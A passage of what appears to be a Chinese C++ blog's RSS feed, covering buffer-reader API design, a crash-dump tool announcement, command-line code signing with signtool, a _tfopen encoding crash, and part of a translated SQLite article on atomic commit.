<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun>CBufferReaderA br<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> a <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> b <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> c <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> d<span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div>这一点B是作不到的, 因为它的返回值被用来返回实际读取的内容了. 可是当我们调试A实现支持的那一串代码时, 问题就出现了, 整个代码虽然是好几个函数调用, 但一下就执行过去了, 根本没法看到中间结果(VC是这样, 其他调试器不清楚). 为了避免这个问题, 只好把这一串操作拆成单个的, 但这样一来A和B也就没什么区别了.<br><br></div>
<p>2. 如果需要跳过一段数据, 需要怎么做呢? 如果用A实现, 肯定是类似下面的方法:<br></p>
<div>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun><span style="COLOR: #0000ff">int</span> tmp<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> tmp<span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div>而B实现则可以直接:<br></div>
<div>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun>br<span style="COLOR: #0000cc">.</span>ReadInt<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div>对比可见, A实现不光多用了一个没有什么实际用处的变量, 而且多写了一行代码. 只看这一点也许没多大问题, 但如果程序很大, 类似需求很多, 它带来的混乱就不可忽视了.<br><br></div>
<div>&nbsp;3. 缓冲区中是char型, 但我想用int保存读出的数据, 应该怎么办?<br>A实现:<br>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun>char c<span style="COLOR: #0000cc">;</span><br><span style="COLOR: #0000ff">int</span> i<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> c<span style="COLOR: #0000cc">;</span><br>i <span style="COLOR: #0000cc">=</span> c</font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
B实现:<br>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun><span style="COLOR: #0000ff">int</span> i <span style="COLOR: #0000cc">=</span> br<span style="COLOR: #0000cc">.</span>ReadChar<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
我想B的优势不用我说了吧.<br><br></div>
<div>&nbsp;4. 前面说到的A缺点也许还不算太严重, 下面这个应该就有足够的说服力了.<br>A实现:<br>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> a<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> b<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> c<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> d<span style="COLOR: #0000cc">;</span><br>br <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span> e<span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
B实现:<br>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun>a <span style="COLOR: #0000cc">=</span> br<span style="COLOR: #0000cc">.</span>ReadChar<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>b <span style="COLOR: #0000cc">=</span> br<span style="COLOR: #0000cc">.</span>ReadShort<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>c <span style="COLOR: #0000cc">=</span> br<span style="COLOR: #0000cc">.</span>ReadChar<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>d <span style="COLOR: #0000cc">=</span> br<span style="COLOR: #0000cc">.</span>ReadInt<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>e <span style="COLOR: #0000cc">=</span> br<span style="COLOR: #0000cc">.</span>ReadInt<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
看出问题了吗? 没错, 在B实现中, 我们很容易的知道每步操作从缓冲区中读了多少数据. 而如果用A实现, 这些信息就不那么明显, 必须去检查各个变量的定义, 也许你会说VC里面把鼠标放上去就能看到定义, 但也别忘了一次只能看一个, 而B则可统观全局. 如果是个很大的程序, 那B的可读性和可调试性要高很多.<br><br></div>
<div>&nbsp;5. 对B的一个批评是暴露了实现细节, 把读了几个字节清晰的写出来了. 但我认为这恰恰是它的优点, 因为只有应该隐藏的细节才需要隐藏, 而这里, 知道读几个字节对缓冲区分析来说非常重要的, 是不应该被隐藏掉的. 无限制的隐藏细节只会给自己找麻烦. 打个比方, 把路的细节隐藏起来, 方法之一是把眼睛蒙上, 我们又怎么走路呢?<br><br></div>
<div>&nbsp;6. B相对于A也有一个缺点, 就是A可以通过重定义&gt;&gt;运算符, 让自定义类型和原生类型使用看起来完全相同的方法被读出来, 但一般来说, 这一点的艺术性远大于实用性, 而且考虑到前面所有的缺点, 它不足以成为我们选择A的理由.</div>
<img src ="http://www.cppblog.com/localvar/aggbug/132764.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2010-10-29 13:24 <a href="http://www.cppblog.com/localvar/archive/2010/10/29/132764.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>发布一个小工具：EasyDump</title><link>http://www.cppblog.com/localvar/archive/2009/01/06/132768.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Tue, 06 Jan 2009 08:33:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2009/01/06/132768.html</guid><description><![CDATA[<p>为了分析用户使用过程中出现的软件Bug，经常需要.dmp文件的帮助。一般我们会用WinDbg或adplus制作这个文件，可这两个工具都有点&#8220;太难&#8221;了，往往要费九牛二虎之力才能教会用户。而让程序在崩溃时自动转储或用Dr. Watson转储虽然使用简单，却只能做崩溃转储，对死锁之类的情况则无能为力。</p>
<p>所以我决定自己写一个小工具降低一下制作.dmp文件的难度，也就有了今天发布的这个EasyDump（轻松转储）。代码和可执行文件都放到google code（也是刚注册的，尝试一下:)）上去了，大家可以到<a title=http://code.google.com/p/easytools/ href="http://code.google.com/p/easytools/">http://code.google.com/p/easytools/</a>下载。</p>
<p>程序还没有很好的测试过，如果有bug的话，应该可以直接在项目主页上报告。另外下一步考虑增加三个功能：首先是异常过滤，因为first chance异常太多了！如果选择了生成.dmp的话，一秒钟可能就有十个甚至更多的文件，设置了异常过滤后，可以把一些不关心的异常屏蔽掉，不生成文件。其次是如果没有second chance的话，就把first chance的文件直接删掉，也有助于减少不必要的文件。第三是界面的国际化，也发布个英文版什么的。</p>
<p>2009.01.08: 自动删除first chance文件的功能已经实现.<br>2009.01.22: 异常过滤功能已经实现.</p>
<img src="http://blog.vckbase.com/localvar/aggbug/36183.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132768.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2009-01-06 16:33 <a href="http://www.cppblog.com/localvar/archive/2009/01/06/132768.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>命令行下进行数字签名</title><link>http://www.cppblog.com/localvar/archive/2008/11/18/132771.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Tue, 18 Nov 2008 03:26:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2008/11/18/132771.html</guid><description><![CDATA[<p>网上介绍数字签名的文章，大多使用signtool的signwizard命令实现，这种方式虽说简单，却需要人为干预，不能自动执行。msdn上说signtool的sign命令可以在命令行中完成签名，但描述的相当模糊，试了半天，终于找到了它的使用方法，一共执行四条命令即可，前三条一次性执行，最后生成一个个人证书(pfx)，最后一条用于实际签名，可以放在post build event中去自动执行。</p>
<p>1. makecert生成x.509证书和私钥, 会弹出界面要求输入两次密码, 我输的是123, 其中localvar studio是公司名<br>makecert /sv sign.pvk /n "CN=localvar studio" sign.cer</p>
<p>2. 把x.509证书转换为Software Publisher Certificate<br>cert2spc sign.cer sign.spc</p>
<p>3. 把pvk转换为pfx, 例子中的123是私钥密码<br>pvk2pfx -pvk sign.pvk -pi 123 -spc sign.spc -pfx sign.pfx</p>
<p>4. 签名, 稍微调整一下，就能写在post build event里了，123是密码<br>signtool sign /f sign.pfx /p 123 test.exe</p>
<p>上面的例子只是演示签名过程，由于证书是本机做出来的，所以签了名也没用，用户那看到的仍然是&#8220;未知发行商&#8221;。向证书颁发机构申请真正的证书时，能直接得到.spc和.pvk文件，所以就不用执行前两步了。</p>
<p>PS: 证书颁发机构真是坐地收钱呀，几秒钟生成个证书，每年就收好几千。</p>
<img src="http://blog.vckbase.com/localvar/aggbug/35679.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132771.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2008-11-18 11:26 <a href="http://www.cppblog.com/localvar/archive/2008/11/18/132771.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>_tfopen指定文件编码后程序崩溃</title><link>http://www.cppblog.com/localvar/archive/2008/11/03/132772.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Mon, 03 Nov 2008 04:58:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2008/11/03/132772.html</guid><description><![CDATA[vs05和08的crt增加了一点功能, 使用fopen(_wfopen)时可以指定文件的编码, 但我发现这个功能好像有很多bug, 会导致程序崩溃。<br>我是使用下面的形式打开文件的:<br>TCHAR buf[1024];<br>FILE* fp = _tfopen( _T(&#8220;a.txt&#8221;) , _T(&#8221;rt,ccs=UNICODE&#8221;) );<br>_fgetts( buf, _countof(buf), fp );<br>按msdn的说法，这时fopen会根据文件的bom自动判断文件的编码, 并保证buf中字符的编码总是我希望的那一种。<br>可是这个程序在使用mbcs并打开unicode编码的文件时会崩溃, 考虑到我的程序只发布unicode版本, 所以忍了，啥也不说。<br>但这两天发现, UNICODE版本在fgets时也会崩溃, 方法是新建一个excel文件然后重命名为a.txt。<br><br>我仔细读了两天msdn，并测试了各种形式，感觉不像是我的错误。<br>在网上没找到类似的描述, 所以记下来，也许有人会碰到同样的问题。<img src="http://blog.vckbase.com/localvar/aggbug/35543.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132772.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2008-11-03 12:58 <a href="http://www.cppblog.com/localvar/archive/2008/11/03/132772.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sqlite中原子提交的实现</title><link>http://www.cppblog.com/localvar/archive/2008/02/13/132758.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Wed, 13 Feb 2008 01:47:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2008/02/13/132758.html</guid><description><![CDATA[最近在实现一个类似数据库事务操作的东西，找到了<a href="http://www.sqlite.org/atomiccommit.html">这篇关于sqlite事务实现的文章</a>，觉得还不错。由于网上相关的中文资料很少，所以决定把它翻译过来。不过，等我翻译完了之后，发现有人已经<a href="http://chensheng.net/p/sqlite/auto_commit_zh_cn.html">先我一步完成了</a>，我对比了一下这两个译本，自认为我的翻译质量更高一点，故仍有必要把它也发布出来。
<h3>1. 引言</h3>
&nbsp;&nbsp;&nbsp;&nbsp;像SQLITE这样支持事务的数据库的一个重要特性是&#8220;原子提交&#8221;。原子提交意味着，一个事务中的所有修改动作要么全都发生，要么一个都不发生。有了原子提交，对一个数据库文件不同部分的多次写操作，就会像瞬间同时完成了一样。当然，现实中的存储器硬件会把写操作串行化，并且写每个扇区都会花上那么一小段时间，所以，绝对意义上的&#8220;瞬间同时完成&#8221;是不可能的。但SQLITE的原子提交逻辑还是让整个过程看起来像那么回事。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE保证，即使事务执行过程中发生了操作系统崩溃或掉电，整个事务也是原子的。本文描述了SQLITE实现原子提交时所采用的技术。
<h3>2. 对硬件的假设</h3>
&nbsp;&nbsp;&nbsp;&nbsp;虽然有的时候会使用闪存，但下文中，我们将把存储设备称为&#8220;磁盘&#8221;。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我们假设对磁盘的写操作是以&#8220;扇区&#8221;为单位的，也就是说不可能直接对磁盘进行小于一个扇区的修改，要想进行这类修改，你必须把整个扇区读进内存，进行所需的修改，然后再把整个扇区写回去。 <br>&nbsp;&nbsp;&nbsp;&nbsp;对真正&#8220;磁盘&#8221;来说，读写操作的最小单位都是一个扇区；但闪存有些不同，它们的最小读单位一般远小于最小写单位。SQLITE只关心最小写单位，所以，在本文中，我们说&#8220;扇区&#8221;的时候，指的是向存储器中写数据时的最小数据量。 <br>&nbsp;&nbsp;&nbsp;&nbsp;3.3.14版之前，SQLITE在任何情况下都认为一个扇区的大小是512字节，有一个编译期选项能改变这个值，但从未有人用更大一些的值测试过相关代码。直到不久以前，把这个值定为512都是合理的，因为所有的磁盘驱动器都在内部使用512字节的扇区。但最近，有人把磁盘扇区的大小提升到了4096字节，而且，闪存的扇区一般也是大于512字节的。由于这些原因，从3.3.14版开始，SQLITE的操作系统接口层提供了一种可以从文件系统获取真实扇区大小的方法。不过，到目前为止（3.5.0版），这一方法仍然只是返回一个硬编码的512字节，因为不论是win32系统还是unix系统，都没有一个标准的机制来获得实际的值。但这种方法给了嵌入式设备的提供商们根据实际情况进行调整的能力，也让我们未来在win32和unix上给出一个更有意义的实现成了可能。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE并不假设对扇区的写操作是原子的，它仅假设这种写是&#8220;线性&#8221;的。所谓线性是指：写一个扇区时，硬件总是从扇区一端开始，一个字节一个字节的写到另一端结束，中间不会后退，硬件可以从头向尾写，也可以从尾向头写。如果掉电发生时只写到了扇区的中间，则可能出现扇区一部分修改了而另一部分没被修改的情况。SQLITE在这里做的一个关键假设是：只要扇区被修改了，那么它的第一个字节和最后一个字节中的至少一个会被修改，也就是说，硬件绝不会从中间开始向两端写。我们不清楚这个假设是否总是对的，但它看起来是合理的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;在上一段中，我们说&#8220;SQLITE没有假设写扇区是原子的&#8221;。默认情况下，这是正确的，但在3.5.0版中，我们增加了一个叫做&#8220;虚拟文件系统（VFS）&#8221;的接口，它是SQLITE和底层文件系统通讯的唯一路径。代码中包含了用于unix和windows的默认VFS实现，同时提供了一种在运行时创建新VFS实现的机制。在这个新的VFS接口中有一个称为&#8220;xDeviceCharacteristics&#8221;的方法，它通过询问文件系统来判断文件系统是否支持某些特性。如果文件系统支持某个特性，SQLITE就会试着利用这个特性进行某种优化。默认的xDeviceCharacteristics不会指出文件系统支持原子的写扇区操作，所以与此相关的优化都是关闭的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE假设操作系统会缓冲写操作，并且写操作会在数据被真正写到磁盘上之前返回。SQLITE还假设写操作会被操作系统记录下来。因此，SQLITE会在关键点上执行&#8220;flush&#8221;或&#8220;fsync&#8221;，并假设&#8220;flush&#8221;和&#8220;fsync&#8221;会等所有正在进行的&#8220;写操作&#8221;真正执行完毕后才返回。在某些版本的windows和unix上，&#8220;flush&#8221;和&#8220;fsync&#8221;原语会被打断，这非常不幸，在这些系统上，如果提交的过程中发生了掉电，SQLITE的数据库有可能崩溃掉，而SQLITE自己则对此无能为力。SQLITE假设操作系统能像广告宣传的那样完美，如果事实并非如此，你只好祈求老天保佑不要经常掉电了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE假设文件增长时，新增加的部分最初包含的是垃圾数据，然后它们会被实际的数据覆盖掉。换句话说，SQLITE假设文件大小的变化发生在文件内容变化之前。这是个悲观的假设，为了保证在从&#8220;文件大小改变&#8221;开始到&#8220;文件内容写完&#8221;为止的这段时间内，系统掉电不会导致数据库崩溃，SQLITE要做一些额外的工作。VFS的xDeviceCharacteristics也可能会指出文件系统总是先写数据后更新文件的大小，这种情况下，SQLITE可以跳过一些过于小心的数据库保护操作，从而减少一次提交所需的磁盘I/O数量。但目前windows和unix上的VFS实现都没有做这个假设。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE假设文件删除是原子的，至少从用户程序的角度来看要是这样。也就是说，如果SQLITE要删除一个文件，并且删除的过程中掉电了，那么电力恢复后，文件要么不能从文件系统中找到，要么它的内容和删除之前一模一样。如果文件还能从文件系统中找到，但内容被修改或清空了，那么数据库极有可能会崩溃。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE假设检测由宇宙射线、热噪声、驱动程序bug等引起的位错误（bit error）是操作系统和硬件的责任。SQLITE没有在数据库文件中增加任何冗余信息来检测或纠正这类问题。SQLITE假设它所读的数据与它上次所写的数据总是完全相同。
<h3>3. 单文件提交</h3>
&nbsp;&nbsp;&nbsp;&nbsp;我们先来从整体上看看SQLITE在一个单独的数据库文件上操作时，要保证事务提交的原子性需要哪些步骤。为防止掉电时文件被破坏，文件格式在设计时也有相应考虑，相关细节和多数据库提交技术将在后续章节讨论。
<h4>3.1. 初始状态</h4>
&nbsp;&nbsp;&nbsp;&nbsp;下图给出了数据库连接刚刚打开时计算机的状态。图的最右侧是存储在磁盘上的数据，每个小格代表一个扇区，蓝色表示扇区存储的是原始数据；图的中间部分是操作系统的缓存，在当前的例子中，缓存是&#8220;冷&#8221;的，所以它的每个格都没有着色；最左侧是使用SQLITE的进程（译注：本文的作者可能更喜欢unix，所以在windows上，原文中的部分&#8220;进程&#8221;用&#8220;线程&#8221;替换一下会更好，我没有做这种替换，故需要您在阅读过程中结合上下文判断&#8220;进程&#8221;的具体含义）的内存，数据库连接刚刚创建，还没有读任何数据，所以用户的内存空间中什么也没有。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-0.gif">
<h4>3.2. 获取一个&#8220;读锁&#8221;</h4>
&nbsp;&nbsp;&nbsp;&nbsp;SQLITE写数据库之前，必须先读，这样它才能知道数据库中已经有些什么了。即使是单纯的追加数据，SQLITE也要先从sqlite_master表中读出数据库的表结构，从而知道如何去解析INSERT语句，以及新数据应该保存到文件的哪个位置。 <br>&nbsp;&nbsp;&nbsp;&nbsp;读操作的第一步是获取一个数据库文件的&#8220;共享锁&#8221;。这个共享锁允许两个或多个数据库连接同时读数据库文件，但不许其他数据库连接写这个文件。这个锁非常重要，因为，如果在读数据的过程中另一个连接写了数据，我们就可能读到一个新数据和旧数据的混合体，这会让其他连接的写操作失去原子性。 <br>&nbsp;&nbsp;&nbsp;&nbsp;请注意，共享锁是操作系统的磁盘缓存实现的，而不是磁盘本身。一般来说，文件锁仅仅是操作系统内核中的一些标志（细节取决于具体操作系统的接口层）。所以，当系统崩溃或掉电后，这个锁就自动消失了。并且，通常情况下，创建这个锁的进程退出后，锁也会自动消失。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-1.gif">
<h4>3.3. 从数据库中读数据</h4>
&nbsp;&nbsp;&nbsp;&nbsp;获得共享锁后，我们开始从数据库文件中读出数据。在这个例子中，由于我们假设最初的缓存是&#8220;冷&#8221;的，所以要先把数据从磁盘读到操作系统的缓存，再把它们从缓存复制到用户空间。后续的读操作，由于部分或全部数据可能已经在缓存中了，或许就只需要从缓存复制到用户空间这一步了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;一般情况下，我们不会需要数据库文件的所有页（译注：页是SQLITE对数据进行缓冲的最小单位，但本文中有时它和扇区是一个意思，请注意结合上下文区分），所以我们读的只是它的一个子集。本例中，我们的数据库文件有8个页，而我们需要的是其中的3个。一个真实的数据库可能有数千个页，但每次查询要访问的一般只是其中很小的一部分。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-2.gif">
<h4>3.4. 获取一个预定（Reserved）锁</h4>
&nbsp;&nbsp;&nbsp;&nbsp;在对数据库做任何修改之前，SQLITE需要获得一个预定锁。预定锁和共享锁很像，它们都允许其他进程读数据库文件。并且，预定锁也可以和多个共享锁共存。但是，一个数据库文件某一时刻只能有一个预定锁，也就是只允许一个进程有写数据的意图。 <br>&nbsp;&nbsp;&nbsp;&nbsp;预定锁的目的是告诉整个系统：有一个进程要在不久的将来修改数据库文件了，但它目前还没有任何实际行动。由于仅仅是个&#8220;意图&#8221;，其他进程还可以继续自己的读操作，但是它们不能也有这个意图了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-3.gif">
<h4>3.5. 创建回滚日志（Journal）文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;在任何实质性的修改之前，SQLITE还需要创建一个独立的回滚日志文件，并把所有要被替换的数据库页的原始内容写到这个文件中去。实际上，日志文件将保存将数据库文件恢复到原始状态所需的全部信息。 <br>&nbsp;&nbsp;&nbsp;&nbsp;日志文件有一个不大的文件头（图中用绿色表示），它记录了数据库文件的原始大小。如果数据库文件因为修改变大了，我们仍然可以凭它来获得文件的原始大小。数据库页和它们的对应的页号会被放在一起写到日志文件中去。 <br>&nbsp;&nbsp;&nbsp;&nbsp;创建新文件时，大多数操作系统（windows、linux、macOSX等）并不会立即向磁盘写数据。新文件一开始只存在于操作系统的缓存中，直到操作系统有空闲的时候，它才会真的去在磁盘上创建这个文件。这种方式让用户觉得文件创建非常快，起码比真的去做磁盘I/O快多了。在下图中，为了表示这一情形，我们只在操作系统缓存中画了这个日志文件。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-4.gif">
<h4>3.6. 在用户空间中修改数据库</h4>
&nbsp;&nbsp;&nbsp;&nbsp;数据库页的原始内容保存到日志文件后，就可以在用户空间中修改了。每个数据库连接有一份私有的用户空间拷贝，所以这些修改只会被当前的连接看到，其他连接看到的仍然是操作系统缓存中未被修改的内容。在这种情况下，虽然有一个进程正在对数据库进行修改，其他进程仍然可以继续读数据库的原始内容。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-5.gif">
<h4>3.7. 把日志文件&#8220;刷&#8221;到磁盘</h4>
&nbsp;&nbsp;&nbsp;&nbsp;下一步是把回滚日志文件的内容刷到具有持久性的存储器上。后面你会看到，这是让数据库能够在掉电情况下存活的关键之一。它可能要花不少时间，因为往持久性存储器上写东西一般是很慢的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;这一步通常比仅仅把回滚日志刷到磁盘上复杂的多。在大多数平台上，你要刷（flush或fsync）两次才行。第一次是日志文件的基本内容。然后修改日志文件的头部，以反应日志文件中实际的页面数。接着刷第二次，把文件头刷上去。至于为什么要修改文件头并多刷一次，我们将在后续章节讨论。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-6.gif">
<h4>3.8. 获取一个独占锁</h4>
&nbsp;&nbsp;&nbsp;&nbsp;为了对数据库文件进行真正的修改，我们需要一个独占锁。获取这个锁需要两步，首先是获取一个待决（Pending）锁，然后再把它提升为独占锁。 <br>&nbsp;&nbsp;&nbsp;&nbsp;待决锁允许其他已经有了共享锁的进程继续读数据库文件，但它不允许创建新的共享锁。设计它的目的是为了避免一大堆读进程把写进程给饿到。系统中可能会有几十甚至上百个进程想读数据库文件，每个这样的进程都要经历一个&#8220;获得共享锁、读数据、释放锁&#8221;的过程。如果很多进程都想读同一个数据库文件，那么一个极有可能现象是：新进程总是在已有的进程释放共享锁之前获得一个新的共享锁。这样一来，数据库文件就上就总有共享锁了，要写数据的进程可能会一直没有机会得到自己的独占锁。通过禁止创建新的共享锁，待决锁解决了这个问题，已有的共享锁会逐渐被释放，最终，当它们全部被释放后，待决锁就可以升级到独占锁了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-7.gif">
<h4>3.9. 更新数据库文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;一旦获得独占锁，就可以保证没有其他进程在读这个数据库文件了，这时更新它就是安全的了。一般来说，这里的更新只会影响到操作系统磁盘缓存这一层，而不会影响磁盘上的物理文件。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-8.gif">
<h4>3.10. 把变化刷到存储器</h4>
&nbsp;&nbsp;&nbsp;&nbsp;为了把数据库的变化写到持久性存储器，我们还要再刷一次。这也是保证数据库在掉电情况下不崩溃的关键。当然，向磁盘或闪存写数据实在是太慢了，这一步和3.7节中的刷日志文件加在一起会消耗掉SQLITE一次事务提交的绝大部分时间。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-9.gif">
<h4>3.11. 删除日志文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;把所有变化都安全的写到存储器上以后，回滚日志文件就可以删除了。这是提交事务的那个时间点。如果掉电或系统崩溃发生在这之前，后面将要介绍的恢复过程会让数据库文件回到修改之前的状态，就好像什么都没发生过一样。如果掉电或系统崩溃发生在日志文件被删除之后，那么所有的修改都会生效。所以，SQLITE对数据库的修改全部有效还是全部无效，实际上是取决于这个日志文件是否存在。 <br>&nbsp;&nbsp;&nbsp;&nbsp;删除文件不一定真的是原子操作，但从用户程序的角度来看，它却好像总是原子的。进程总可以询问操作系统&#8220;这个文件存在吗？&#8221;并等到是或否的回答。如果事务提交过程中发生了掉电，SQLITE就会问操作系统是否存在回滚日志文件，存在则事务是不完整的，需要回滚，不存在则说明事务确实成功提交了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE事务的实现依赖于回滚日志文件是否存在和用户程序眼中的原子的文件删除。所以，事务也是一个原子操作。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-A.gif">
<h4>3.12. 释放锁</h4>
&nbsp;&nbsp;&nbsp;&nbsp;最后一步是释放独占锁，这样其他进程就又能访问数据库文件了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;在下图中，我们看到，用户空间中的数据在锁被释放后就清除了。如果是较早版本的SQLITE，这是实际情况。但从最近几版开始，SQLITE不这么做了，因为下个操作可能还会用到它们。比起从操作系统的缓存或磁盘中读数据来，重用这些已经在本地内存中的数据的性能要高得多。再次使用它们之前，我们要先得到一个共享锁，然后再检查一下在我们没有锁的这段时间内是否有别的进程修改了数据库文件。数据库的第一页有一个计数器，每次对数据库进行修改时都会递增它。检查这个计数器，就能知道数据库是否被别的进程修改过了。如果修改过，就必须清除用户空间中的数据并把新数据读进来。但更大的可能是没有任何修改，这样就可以重用原有的数据，从而大幅提高效率。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_commit-B.gif">
<h3>4. 回滚</h3>
&nbsp;&nbsp;&nbsp;&nbsp;原子提交看起来是瞬间完成的，但很明显，前面介绍的过程需要一定的时间才能完成。如果在提交过程中电源被切断，为了让整个过程看起来是瞬时的，我们必须回滚那些不完整的修改，并把数据库恢复到事务开始之前的状态。
<h4>4.1. 如果出了问题&#8230;</h4>
